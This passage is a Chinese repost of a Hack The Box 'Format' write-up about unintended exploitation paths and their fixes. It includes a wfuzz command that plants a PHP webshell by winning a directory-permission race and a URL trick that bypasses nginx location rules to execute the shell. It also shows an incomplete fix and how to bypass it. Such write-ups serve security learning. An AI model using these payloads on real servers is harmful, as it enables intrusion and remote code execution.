它使microblog模板可写,并将模板复制到该目录中。然后它使该content文件夹可写,但随后将站点重置为不可写。

问题是那里存在竞争条件。在很短的时间内,有一个可写目录允许 PHP 运行。

为了利用这一点,我将使用wfuzz一次发送大量请求来写入一个不存在的站点:

oxdf@hacky$ wfuzz -u http://10.10.11.213/edit/ -H "Host: race.microblog.htb" -b 'username=rbb8bp6umb0logs0i3sqlcp5kc' -d 'id=../0xdf.php&txt=<?php+system($_REQUEST["cmd"]);+?>&oops=FUZZ' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt

我还没有创建race.microblog.htb,但这是我的Host标题。它正在使用我的会话 cookie,并尝试写入该站点的根目录。我添加了一个oops参数只是为了有一些东西,FUZZ所以wfuzz会一次发送大量请求。如果我循环尝试像curl这里这样的事情while true,那就太慢了。

一旦开始运行,我将创建该网站。例如,使用以下curl命令:

oxdf@hacky$ curl -v app.microblog.htb/dashboard/ -b username=rbb8bp6umb0logs0i3sqlcp5kc -d new-blog-name=race

在创建该网站时,wfuzz会向其发出大量请求,其中一个请求可能会在其基本目录可写时登陆race。创建网站后,我将终止wfuzz并检查。webshell 在那里:

玩转HTB靶场系列Format

代码固定在addSite此处的函数中:

function addSite($site_name) {                                                                               if(isset($_SESSION['username'])) {             //check if site already exists                                                                           $scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);        $taken_sites = array();                                                                                                                                                                                            foreach($scan as $site) {                                                                                                                                                                                              array_push($taken_sites, substr($site, strrpos($site, '/') + 1));        }                                              if(in_array($site_name, $taken_sites)) {                                                                     header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");            exit;                               }                                                                                                        $redis = new Redis();                                                                                    $redis->connect('/var/run/redis/redis.sock');                                                                                                                                                                      $redis->LPUSH($_SESSION['username'] . ":sites", $site_name);        $tmp_dir = "/tmp/" . generateRandomString(7);                                                        system("mkdir -m 0700 " . $tmp_dir);                                                                     system("cp -r /var/www/microblog-template/* " . $tmp_dir);                                      system("chmod 500 " . $tmp_dir);                                                                         system("chmod +w /var/www/microblog");                                                                   system("cp -rp " . $tmp_dir . " /var/www/microblog/" . $site_name);               system("chmod -w microblog");          system ("chmod -R +w " . $tmp_dir);                                                                      system("rm -r " . $tmp_dir);                                                                             header("Location: /dashboard?message=Site added successfully!&status=success");    }                                                                                                        else {                                                                                                       header("Location: /dashboard?message=Site not added, authentication failed&status=fail");    }                                     }

现在,它不是就地创建目录,而是在/tmp. 然后它将所需的所有文件移至该目录中,并更改锁定该目录的权限。最后,它将其移动到 Web 目录中。现在要利用这种竞争条件,我必须猜测要/tmp写入的随机七个字符目录的名称。鉴于有 26^7 个可能的目录名称(超过 80 亿个),因此不可能进行暴力破解。

nginx 配置错误

有一个类似的绕过方法滥用了 nginx 站点的最初配置方式:

server {        listen 80;        listen [::]:80;
root /var/www/microblog/$subdomain;
# Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html index.php;
server_name ~^(?P<subdomain>.+).microblog.htb$ ;
location / { try_files $uri $uri/ =404; }
location ~ ^/content/(?<request_basename>[^/]+)$ { add_header Content-Disposition "attachment; filename=$request_basename"; }
# pass PHP scripts to FastCGI server # location ~ .php$ { fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass unix:/run/php/php7.4-fpm.sock; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; }}

我知道我可以将 webshell 引入/content/0xdf.php. 但尝试访问该块将匹配:

location ~ ^/content/(?<request_basename>[^/]+)$ {                add_header Content-Disposition "attachment; filename=$request_basename";        }

这将添加Content-Disposition并返回一个文件,并且由于请求只能匹配一个location块,因此它不会到达第三个块。

下一个块是将以 PHP unix 套接字结尾的文件传递.php到 PHP unix 套接字以供执行。fastcgi_split_path_info将使用此正则表达式将path(主机和可选端口之后的所有内容)分成两部分。两个正则表达式捕获组(在 中())将保存到$fastci_script_name和$fastcgi_path_info。

在本例中,正则表达式为 ^(.+.php)(/.+)$;,它将匹配第一个之前的内容.php,并将其保存到$fastcgi_script_name,并将其余内容保存到$fastcgi_script_info。该块中的最后一行fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;导致调用第一行中派生的脚本名称的绝对路径。

为了滥用这一点,我将制作一个包含两个.php字符串的 URL。它必须:

end.php通过 fastcgi 传递给 PHP。

不匹配,^/content/(?<request_basename>[^/]+)$以便它得到执行。

$fastcgi_script_name最终成为/content/0xdf.php.

/.php诀窍是在 URL 末尾添加 a ,如下所示:

/content/0xdf.php/.php

这通过以 结尾来满足 1 .php。对于 2,因为还有另一个/,所以不匹配。在 3 中,它将拆分到第一个.php,捕获我想要的内容。其余部分作为参数的一部分过去。

玩转HTB靶场系列Format

修复不完整

为了修补这个问题,服务器配置块/etc/nginx/sites-enabled/microblog.htb已更新为:

server {                                  listen 80;        listen [::]:80;
root /var/www/microblog/$subdomain; # Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html index.php; server_name ~^(?P<subdomain>.+).microblog.htb$ ;
location / { try_files $uri $uri/ =404; }
location ~^/content/(?<request_basename>[^/]+)(/.php)*$ { add_header Content-Disposition "attachment; filename=$request_basename"; }
# pass PHP scripts to FastCGI server # location ~ .php$ { fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass unix:/run/php/php7.4-fpm.sock; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; }

这里的修复不太完整。现在,它会在末尾查找任意数量的句柄/.php,并且仍然将其作为附件发送。但它不允许在 之前添加额外的内容/.php。因此,即使在今天,最初用于非预期盒子的确切 URL 仍被阻止:

玩转HTB靶场系列Format

任何附加任何内容的变体/.php仍然有效:

玩转HTB靶场系列Format


玩转HTB靶场系列Format

原文始发于微信公众号(守护安全团队):玩转HTB靶场系列Format

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月21日16:03:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玩转HTB靶场系列Formathttp://cn-sec.com/archives/2226359.html

发表评论

匿名网友 填写信息